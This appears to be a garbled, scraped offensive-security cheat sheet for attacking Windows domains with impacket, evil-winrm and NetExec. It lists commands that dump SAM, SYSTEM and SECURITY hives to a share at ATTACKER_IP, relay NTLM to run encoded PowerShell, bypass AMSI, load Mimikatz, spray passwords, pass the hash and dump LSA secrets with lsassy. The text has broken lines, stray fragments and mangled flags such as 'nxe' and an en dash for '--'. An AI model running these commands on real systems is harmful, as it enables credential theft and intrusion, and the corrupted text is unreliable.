You can save SAM, SYSTEM, and SECURITY all at once with:
impacket-reg $domain/$user:$password@$target backup -o '\\ATTACKER_IP\someshare'
impacket-smbserver
first`sudo impacket-ntlmrelayx –no-http-server -smb2support -t $targetIP -c “powershell -enc JABjAGwAaQ…”
$targetIP
) so that’s it’s executed there.impacket-mssqlclient $user:$pass@$target -windows-auth
##winrm service discovery
nmap -p5985,5986 <IP>
5985 - plaintext protocol
5986 - encrypted
##Login with password
evil-winrm -i <IP> -u user -p pass
evil-winrm -i <IP> -u user -p pass -S #if 5986 port is open
##Login with Hash
evil-winrm -i <IP> -u user -H ntlmhash
##Login with key
evil-winrm -i <IP> -c certificate.pem -k priv-key.pem -S #-c for public key and -k for private key
##Logs
evil-winrm -i <IP> -u user -p pass -l
##File upload and download
upload <file>
download <file> <filepath-kali> #not required to provide path all time
##Loading files direclty from Kali location
evil-winrm -i <IP> -u user -p pass -s /opt/privsc/powershell #Location can be different
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz
##evil-winrm commands
menu # to view commands
#There are several commands to run
#This is an example for running a binary
evil-winrm -i <IP> -u user -p pass -e /opt/privsc
Bypass-4MSI
menu
Invoke-Binary /opt/privsc/winPEASx64.exe
Help
nxc smb --help
for SMB
Can add | grep +
to only return positive results
Can add --users
, --shares
, --loggedon-users
, --groups
, -M spider_plus --share $share
Password spraying:
nxe smb $IP -u users.txt -p 'password' -d domain.com --continue-on-success
-u
for either $user or $userfile, same with -p
.0/24
for the whole domain--pass-pol
to get the password policyPass the hash
nxe smb $IP -u $user -H $NTLMHash --local-auth
--sam
at the end if we get a Pwn3d!
--lsa
--shares
Modules
nxe smb $IP -u $user -H $NTLMHash --local-auth -M $module
lsassy